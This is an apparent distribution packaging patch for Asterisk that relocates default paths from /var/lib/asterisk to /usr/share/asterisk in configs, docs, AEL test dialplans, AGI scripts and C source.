-+++ b/configs/phoneprov.conf.sample
-@@ -57,4 +57,4 @@ ${TOLOWER(${MAC})}.cfg => 000000000000.cfg               ; Dynamically generated
- ${TOLOWER(${MAC})}-phone.cfg => 000000000000-phone.cfg   ; (relative to AST_DATA_DIR/phoneprov)
- config/${TOLOWER(${MAC})} => polycom.xml                 ; Dynamic Filename => template file 
- ${TOLOWER(${MAC})}-directory.xml => 000000000000-directory.xml
--setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
-+setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg  ; Custom variable
-diff --git a/contrib/scripts/astgenkey b/contrib/scripts/astgenkey
-index 6376048..e4a5a80 100644
---- a/contrib/scripts/astgenkey
-+++ b/contrib/scripts/astgenkey
-@@ -29,7 +29,7 @@ if [ "$QUIET" != 'y' ]; then
- 	echo "in PEM format for use by Asterisk.  You will be asked to"
- 	echo "enter a passcode for your key multiple times.  Please"
- 	echo "enter the same code each time.  The resulting files will"
--	echo "need to be moved to /var/lib/asterisk/keys if you want"
-+	echo "need to be moved to /usr/share/asterisk/keys if you want"
- 	echo "to use them, and any private keys (.key files) will"
- 	echo "need to be initialized at runtime either by running"
- 	echo "Asterisk with the '-i' option, or with the 'init keys'"
-diff --git a/contrib/scripts/astgenkey.8 b/contrib/scripts/astgenkey.8
-index 328a4d2..ac6feae 100644
---- a/contrib/scripts/astgenkey.8
-+++ b/contrib/scripts/astgenkey.8
-@@ -88,7 +88,7 @@ The private key: secret.
- .RE
- 
- Those files should be copied to 
--.I /var/lib/asterisk/keys
-+.I /usr/share/asterisk/keys
- 
- (The private key: on your system. The public key: on other systems)
- 
-@@ -122,10 +122,10 @@ readable, such as with the following commands:
- And then make the key accessible to Asterisk (assuming you run it as
- user "asterisk").
- 
--  chown asterisk /var/lib/asterisk/keys/yourname.*
-+  chown asterisk /usr/share/asterisk/keys/yourname.*
- 
- .SH FILES
--.I /var/lib/asterisk/keys
-+.I /usr/share/asterisk/keys
- .RS
- .RE
- 
-diff --git a/doc/osp.txt b/doc/osp.txt
-index a0cd429..932f214 100644
---- a/doc/osp.txt
-+++ b/doc/osp.txt
-@@ -136,7 +136,7 @@ make clean; make linux
- Compilation is successful if there are no errors in the compiler output. The enroll program is now located in the OSP Toolkit/bin directory (example: /usr/src/ TK-3_3_6-20060303/bin). 
- 
- 2.2 Obtain Crypto Files
--The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /var/lib/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /var/lib/asterisk/keys directory.  
-+The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /usr/share/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /usr/share/asterisk/keys directory.  
- 
- Note: The osptestserver.transnexus.com is configured only for sending and receiving non-SSL messages, and issuing signed tokens. If you need help, post a message on the OSP mailing list at https://lists.sourceforge.net/lists/listinfo/osp-toolkit-client..
- 
-@@ -183,7 +183,7 @@ depth=0 /CN=osptestserver.transnexus.com/O=OSPServer
- verify return:1
- The certificate request was successful.
- Error Code returned from localcert command : 0
--The files generated should be copied to the /var/lib/asterisk/keys directory. 
-+The files generated should be copied to the /usr/share/asterisk/keys directory. 
- Note: The script enroll.sh requires AT&T korn shell (ksh) or any of its compatible variants. The /usr/src/TK-3_3_6-20060303/bin directory should be in the PATH variable. Otherwise, enroll.sh cannot find the enroll file.
- 
- 3 Asterisk
-@@ -247,9 +247,9 @@ servicepoint=http://OSP server IP:1080/osp
- source=[host IP]
- ;
- ; Define path and file name of crypto files.
--; The default path for crypto file is /var/lib/asterisk/keys.  If no
-+; The default path for crypto file is /usr/share/asterisk/keys.  If no
- ; path is defined, crypto files should be in  
--; /var/lib/asterisk/keys directory.
-+; /usr/share/asterisk/keys directory.
- ;
- ; Specify the private key file name.  
- ; If this parameter is unspecified or not present, the default name 
-diff --git a/doc/tex/phoneprov.tex b/doc/tex/phoneprov.tex
-index cb236a8..be01d34 100644
---- a/doc/tex/phoneprov.tex
-+++ b/doc/tex/phoneprov.tex
-@@ -58,7 +58,7 @@ files, respectively. A sample profile:
- [polycom]
- staticdir => configs/
- mime_type => text/xml
--setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg
-+setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg
- static_file => bootrom.ld,application/octet-stream
- static_file => bootrom.ver,plain/text
- static_file => sip.ld,application/octet-stream
-diff --git a/doc/tex/privacy.tex b/doc/tex/privacy.tex
-index a4ae7b9..bad6815 100644
---- a/doc/tex/privacy.tex
-+++ b/doc/tex/privacy.tex
-@@ -210,7 +210,7 @@ helpful.
+Index: pbx/ael/ael-test/ref.ael-vtest13
+===================================================================
+--- pbx/ael/ael-test/ref.ael-vtest13	(revision 222649)
++++ pbx/ael/ael-test/ref.ael-vtest13	(working copy)
+@@ -2107,7 +2107,7 @@
  
- When there is no CallerID, P and p options will always record an intro
- for the incoming caller. This intro will be stored temporarily in the
--\path{/var/lib/asterisk/sounds/priv-callerintros} dir, under the name
-+\path{/usr/share/asterisk/sounds/priv-callerintros} dir, under the name
- NOCALLERID\_$<$extension$>$ $<$channelname$>$ and will be erased after the
- callee decides what to do with the call.
  
-@@ -245,7 +245,7 @@ introductions are stored and re-used for the convenience of the CALLER.
- \subsubsection{Introductions}
- Unless instructed to not save introductions (see the 'n' option above),
- the screening modes will save the recordings of the caller's names in
--the directory \path{/var/lib/asterisk/sounds/priv-callerintros}, if they have
-+the directory \path{/usr/share/asterisk/sounds/priv-callerintros}, if they have
- a CallerID.  Just the 10-digit callerid numbers are used as filenames,
- with a ".gsm" at the end.
+ [callerid-liar]
+-exten => s,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&)
++exten => s,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&)
+ exten => s,2,Background(priv-liar)
+ exten => s,3,Hangup()
+ exten => s,4,Return()
+@@ -2142,7 +2142,7 @@
+ exten => s,4,Zapateller(nocallerid)
+ exten => s,5,PrivacyManager()
+ exten => s,6,GotoIf($["${PRIVACYMGRSTATUS}" = "FAILED" ]?7:11)
+-exten => s,7,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm)
++exten => s,7,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm)
+ exten => s,8,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
+ exten => s,9,Hangup()
+ exten => s,10,Return()
+@@ -2168,7 +2168,7 @@
+ exten => s,30,verbose(direct is XXX#${direct}XXXX)
+ exten => s,31,Playback(greetings/direct)
+ exten => s,32,Playback(/var/spool/asterisk/voicemail/default/${direct}/greet)
+-exten => s,33,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => s,33,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => s,34,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&)
+ exten => s,35,Goto(sw-92-${direct},10)
+ exten => s,36,NoOp(Finish switch-if-homeline-91-92)
+@@ -2247,7 +2247,7 @@
+ exten => sw-92-2,11,Goto(s,loopback)
+ exten => sw-92-1,10,Gosub(std-priv-exten,s,1(Zap/6r3&Sip/murf,1,25,mpA(beep)tw,telemarket,telemarket))
+ exten => sw-92-1,11,Goto(s,loopback)
+-exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&)
+ exten => 1,3,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
+ exten => 1,4,Goto(s,loopback)
+@@ -2324,31 +2324,31 @@
  
-@@ -260,7 +260,7 @@ loudspeakers, and perhaps other nifty things. For instance:
+ [homeline-kids]
+ exten => s,1(begin),Background(murphy-homeline-kids)
+-exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&)
+ exten => 1,3,Gosub(std-priv-exten,s,1(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket))
+ exten => 1,4,Goto(homeline,s,loopback)
+-exten => 2,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 2,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 2,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&)
+ exten => 2,3,Voicemail(u4)
+ exten => 2,4,Goto(homeline,s,loopback)
+-exten => 3,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 3,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 3,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&)
+ exten => 3,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket))
+ exten => 3,4,Goto(homeline,s,loopback)
+-exten => 4,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 4,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 4,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&)
+ exten => 4,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket))
+ exten => 4,4,Goto(homeline,s,loopback)
+-exten => 5,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 5,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 5,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&)
+ exten => 5,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket))
+ exten => 5,4,Goto(homeline,s,loopback)
+-exten => 6,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 6,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 6,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&)
+ exten => 6,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket))
+ exten => 6,4,Goto(homeline,s,loopback)
+-exten => 7,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 7,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 7,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&)
+ exten => 7,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket))
+ exten => 7,4,Goto(homeline,s,loopback)
+@@ -2376,7 +2376,7 @@
+ exten => s,6,TrySystem(/usr/local/bin/who-is-it ${CALLERID(num)} "${CALLERID(name)}"&)
+ exten => s,7(loopback),Background(greetings/greeting)
+ exten => s,8,Background(murphy-office-intro1)
+-exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
++exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
+ exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&)
+ exten => 1,3,Gosub(std-priv-exten,s,1(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket))
+ exten => 1,4,Goto(s,loopback)
+@@ -2502,7 +2502,7 @@
+ exten => 760,1,DateTime()
+ exten => 760,2,Goto(s,loopback)
+ exten => 761,1,Record(announcement:gsm)
+-exten => 761,2,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&)
++exten => 761,2,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&)
+ exten => 761,3,Goto(s,loopback)
+ exten => 762,1,agi(tts-riddle.agi)
+ exten => 762,2,Background(gsm/what-time-it-is2)
+Index: pbx/ael/ael-test/ael-test3/extensions.ael
+===================================================================
+--- pbx/ael/ael-test/ael-test3/extensions.ael	(revision 222649)
++++ pbx/ael/ael-test/ael-test3/extensions.ael	(working copy)
+@@ -2049,7 +2049,7 @@
  
- \begin{astlisting}
- \begin{verbatim}
--exten => s,6,Set(PATH=/var/lib/asterisk/sounds/priv-callerintros)
-+exten => s,6,Set(PATH=/usr/share/asterisk/sounds/priv-callerintros)
- exten => s,7,System(/usr/bin/play ${PATH}/${CALLERID(num)}.gsm&,0)
- \end{verbatim}
- \end{astlisting}
-diff --git a/pbx/ael/ael-test/ael-test3/extensions.ael b/pbx/ael/ael-test/ael-test3/extensions.ael
-index ff1f6ae..53fb918 100755
---- a/pbx/ael/ael-test/ael-test3/extensions.ael
-+++ b/pbx/ael/ael-test/ael-test3/extensions.ael
-@@ -2049,7 +2049,7 @@ macro ciddial2(dialnum, lookup, waittime, dialopts, ddev) // give priority to tc
+ macro callerid-liar()
+ {
+-	TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&);
++	TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&);
+ 	Background(priv-liar);  // Script: OOOps! Sorry! I don't allow men with ski masks pulled over their 
+                             //         faces to get in the front door, and unidentified callers won't fair
+                             //         any better. You entered *MY* phone number. That won't work.
+@@ -2106,7 +2106,7 @@
+ 		PrivacyManager();
+ 		if( "${PRIVACYMGRSTATUS}" = "FAILED" )
+ 		{
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm);
+ 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
+ 			Hangup();
+ 			return;
+@@ -2138,7 +2138,7 @@
+ 			verbose(direct is XXX#${direct}XXXX);
+ 			Playback(greetings/direct); // Welcome to the Murphy residence. This system will automatically try to connect you to...
+ 			Playback(/var/spool/asterisk/voicemail/default/${direct}/greet);
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&);
+ 			switch(${direct})
+ 			{
+@@ -2223,7 +2223,7 @@
+ 		
+ 	}
+ 	1 => {  // Sonya
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&);
+ 			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
+ 			goto s|loopback;
+@@ -2421,51 +2421,51 @@
+ 		Background(murphy-homeline-kids);        //  Which Kid? 1=Sean, 2:Eric, 3:Ryan, 4:Kyle, 5:Amber, 6:Alex, 7:Neal
+ 	}
+ 	1 => {  // SEAN
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&);
+ 			// &std-priv-exten(Zap/3r2&Zap/5r2,3,35,mtw,telemarket,telemarket);
+ 			&std-priv-exten(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	2 => {  // ERIC
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
+ 			Voicemail(u4);
+ 			goto homeline|s|loopback;
+ 			
+ 			// SetMusicOnHold(erics);
+-			// TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			// TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			// TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&);
+ 			// &std-priv-exten(Zap/3r2&Zap/5r2,4,35,mtw,telemarket,telemarket);
+ 			// goto homeline|s|loopback;
+ 	}
+ 	3 => {  // RYAN
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	4 => {  // KYLE
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	5 => {
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 			
+ 	}
+ 	6 => {
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+ 	}
+ 	7 => {
+-			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&);
+ 			&std-priv-exten(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket);
+ 			goto homeline|s|loopback;
+@@ -2517,7 +2517,7 @@
+                                               // Otherwise, dial 1, and hopefully, you will reach Steve.
+ 	}
+ 	1 => {
+-		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
++		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
+ 		TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&);
+ 		
+ 		&std-priv-exten(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket);
+@@ -2778,7 +2778,7 @@
+ 	}
+ 	761 => {
+ 		Record(announcement:gsm);
+-		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&);
++		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&);
+ 		goto s|loopback;
+ 	}
+ 	762 => {
+Index: pbx/ael/ael-test/ael-vtest13/extensions.ael
+===================================================================
+--- pbx/ael/ael-test/ael-vtest13/extensions.ael	(revision 222649)
++++ pbx/ael/ael-test/ael-vtest13/extensions.ael	(working copy)
+@@ -2048,7 +2048,7 @@
  
  macro callerid-liar()
  {
@@ -282,7 +226,7 @@ index ff1f6ae..53fb918 100755
  	Background(priv-liar);  // Script: OOOps! Sorry! I don't allow men with ski masks pulled over their 
                              //         faces to get in the front door, and unidentified callers won't fair
                              //         any better. You entered *MY* phone number. That won't work.
-@@ -2106,7 +2106,7 @@ context homeline {
+@@ -2105,7 +2105,7 @@
  		PrivacyManager();
  		if( "${PRIVACYMGRSTATUS}" = "FAILED" )
  		{
@@ -291,7 +235,7 @@ index ff1f6ae..53fb918 100755
  			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
  			Hangup();
  			return;
-@@ -2138,7 +2138,7 @@ context homeline {
+@@ -2137,7 +2137,7 @@
  			verbose(direct is XXX#${direct}XXXX);
  			Playback(greetings/direct); // Welcome to the Murphy residence. This system will automatically try to connect you to...
  			Playback(/var/spool/asterisk/voicemail/default/${direct}/greet);
@@ -300,7 +244,7 @@ index ff1f6ae..53fb918 100755
  			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&);
  			switch(${direct})
  			{
-@@ -2223,7 +2223,7 @@ context homeline {
+@@ -2222,7 +2222,7 @@
  		
  	}
  	1 => {  // Sonya
@@ -309,7 +253,7 @@ index ff1f6ae..53fb918 100755
  			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&);
  			&std-priv-exten(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket);
  			goto s|loopback;
-@@ -2421,51 +2421,51 @@ context homeline-kids {
+@@ -2420,51 +2420,51 @@
  		Background(murphy-homeline-kids);        //  Which Kid? 1=Sean, 2:Eric, 3:Ryan, 4:Kyle, 5:Amber, 6:Alex, 7:Neal
  	}
  	1 => {  // SEAN
@@ -369,7 +313,7 @@ index ff1f6ae..53fb918 100755
  			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&);
  			&std-priv-exten(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket);
  			goto homeline|s|loopback;
-@@ -2517,7 +2517,7 @@ context workline {
+@@ -2516,7 +2516,7 @@
                                                // Otherwise, dial 1, and hopefully, you will reach Steve.
  	}
  	1 => {
@@ -378,7 +322,7 @@ index ff1f6ae..53fb918 100755
  		TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&);
  		
  		&std-priv-exten(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket);
-@@ -2778,7 +2778,7 @@ context homeext {
+@@ -2777,7 +2777,7 @@
  	}
  	761 => {
  		Record(announcement:gsm);
@@ -387,221 +331,377 @@ index ff1f6ae..53fb918 100755
  		goto s|loopback;
  	}
  	762 => {
-diff --git a/pbx/ael/ael-test/ael-vtest13/extensions.ael b/pbx/ael/ael-test/ael-vtest13/extensions.ael
-index b7e953e..48baaef 100755
---- a/pbx/ael/ael-test/ael-vtest13/extensions.ael
-+++ b/pbx/ael/ael-test/ael-vtest13/extensions.ael
-@@ -2048,7 +2048,7 @@ macro ciddial2(dialnum, lookup, waittime, dialopts, ddev) // give priority to tc
+Index: agi/jukebox.agi
+===================================================================
+--- agi/jukebox.agi	(revision 222649)
++++ agi/jukebox.agi	(working copy)
+@@ -17,7 +17,7 @@
+ #
+ # Uses festival to list off all your MP3 music files over a channel in
+ # a hierarchical fashion.  Put this file in your agi-bin folder which
+-# is located at: /var/lib/asterisk/agi-bin  Be sure to chmod +x it!
++# is located at: /usr/share/asterisk/agi-bin  Be sure to chmod +x it!
+ #
+ # Invocation Example:
+ #   exten => 68742,1,Answer()
+Index: agi/DialAnMp3.agi
+===================================================================
+--- agi/DialAnMp3.agi	(revision 222649)
++++ agi/DialAnMp3.agi	(working copy)
+@@ -17,7 +17,7 @@
+ 	print STDERR " -- $i = $AGI{$i}\n";
+ }
+ 
+-dbmopen(%DIGITS, "/var/lib/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
++dbmopen(%DIGITS, "/usr/share/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
+ 
+ sub checkresult {
+ 	my ($res) = @_;
+Index: agi/numeralize
+===================================================================
+--- agi/numeralize	(revision 222649)
++++ agi/numeralize	(working copy)
+@@ -6,7 +6,7 @@
+ 
+ $mp3dir="/usr/media/mpeg3";
+ 
+-dbmopen(%DIGITS, "/var/lib/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
++dbmopen(%DIGITS, "/usr/share/asterisk/mp3list", 0644) || die("Unable to open mp3list");;
+ sub process_dir {
+ 	my ($dir) = @_;
+ 	my $file;
+Index: apps/app_rpt.c
+===================================================================
+--- apps/app_rpt.c	(revision 222649)
++++ apps/app_rpt.c	(working copy)
+@@ -241,7 +241,7 @@
+ #define	TONEMACRO "tonemacro"
+ #define	FUNCCHAR '*'
+ #define	ENDCHAR '#'
+-#define	EXTNODEFILE "/var/lib/asterisk/rpt_extnodes"
++#define	EXTNODEFILE "/usr/share/asterisk/rpt_extnodes"
+ #define	NODENAMES "rpt/nodenames"
+ #define	PARROTFILE "/tmp/parrot_%s_%u"
+ 
+Index: doc/osp.txt
+===================================================================
+--- doc/osp.txt	(revision 222649)
++++ doc/osp.txt	(working copy)
+@@ -136,7 +136,7 @@
+ Compilation is successful if there are no errors in the compiler output. The enroll program is now located in the OSP Toolkit/bin directory (example: /usr/src/ TK-3_3_6-20060303/bin). 
+ 
+ 2.2 Obtain Crypto Files
+-The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /var/lib/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /var/lib/asterisk/keys directory.  
++The OSP module in Asterisk requires three crypto files containing a local certificate (localcert.pem), private key (pkey.pem), and CA certificate (cacert_0.pem).  Asterisk will try to load the files from the Asterisk public/private key directory - /usr/share/asterisk/keys.  If the files are not present, the OSP module will not start and the Asterisk will not support the OSP protocol.  Use the enroll.sh script from the toolkit distribution to enroll Asterisk with an OSP server and obtain the crypto files.  Documentation explaining how to use the enroll.sh script (Device Enrollment) to enroll with an OSP server is available at http://www.transnexus.com/OSP%20Toolkit/OSP%20Toolkit%20Documents/Device_Enrollment.pdf.  Copy the files generated by the enrollment process to the Asterisk /usr/share/asterisk/keys directory.  
+ 
+ Note: The osptestserver.transnexus.com is configured only for sending and receiving non-SSL messages, and issuing signed tokens. If you need help, post a message on the OSP mailing list at https://lists.sourceforge.net/lists/listinfo/osp-toolkit-client..
+ 
+@@ -183,7 +183,7 @@
+ verify return:1
+ The certificate request was successful.
+ Error Code returned from localcert command : 0
+-The files generated should be copied to the /var/lib/asterisk/keys directory. 
++The files generated should be copied to the /usr/share/asterisk/keys directory. 
+ Note: The script enroll.sh requires AT&T korn shell (ksh) or any of its compatible variants. The /usr/src/TK-3_3_6-20060303/bin directory should be in the PATH variable. Otherwise, enroll.sh cannot find the enroll file.
+ 
+ 3 Asterisk
+@@ -247,9 +247,9 @@
+ source=[host IP]
+ ;
+ ; Define path and file name of crypto files.
+-; The default path for crypto file is /var/lib/asterisk/keys.  If no
++; The default path for crypto file is /usr/share/asterisk/keys.  If no
+ ; path is defined, crypto files should be in  
+-; /var/lib/asterisk/keys directory.
++; /usr/share/asterisk/keys directory.
+ ;
+ ; Specify the private key file name.  
+ ; If this parameter is unspecified or not present, the default name 
+Index: doc/tex/phoneprov.tex
+===================================================================
+--- doc/tex/phoneprov.tex	(revision 222649)
++++ doc/tex/phoneprov.tex	(working copy)
+@@ -58,7 +58,7 @@
+ [polycom]
+ staticdir => configs/
+ mime_type => text/xml
+-setvar => CUSTOM_CONFIG=/var/lib/asterisk/phoneprov/configs/custom.cfg
++setvar => CUSTOM_CONFIG=/usr/share/asterisk/phoneprov/configs/custom.cfg
+ static_file => bootrom.ld,application/octet-stream
+ static_file => bootrom.ver,plain/text
+ static_file => sip.ld,application/octet-stream
+Index: doc/tex/ael.tex
+===================================================================
+--- doc/tex/ael.tex	(revision 222649)
++++ doc/tex/ael.tex	(working copy)
+@@ -1167,7 +1167,7 @@
+       the application that would set that variable is not called in
+       the same extension. This is a warning only...
+     \item Calls to applications not in the "applist" database (installed
+-      in \path{/var/lib/asterisk/applist}" on most systems).
++      in \path{/usr/share/asterisk/applist}" on most systems).
+     \item In an assignment statement, if the assignment is to a function,
+       the function name used is checked to see if it one of the
+       currently known functions. A warning is issued if it is not.
+Index: doc/tex/asterisk-conf.tex
+===================================================================
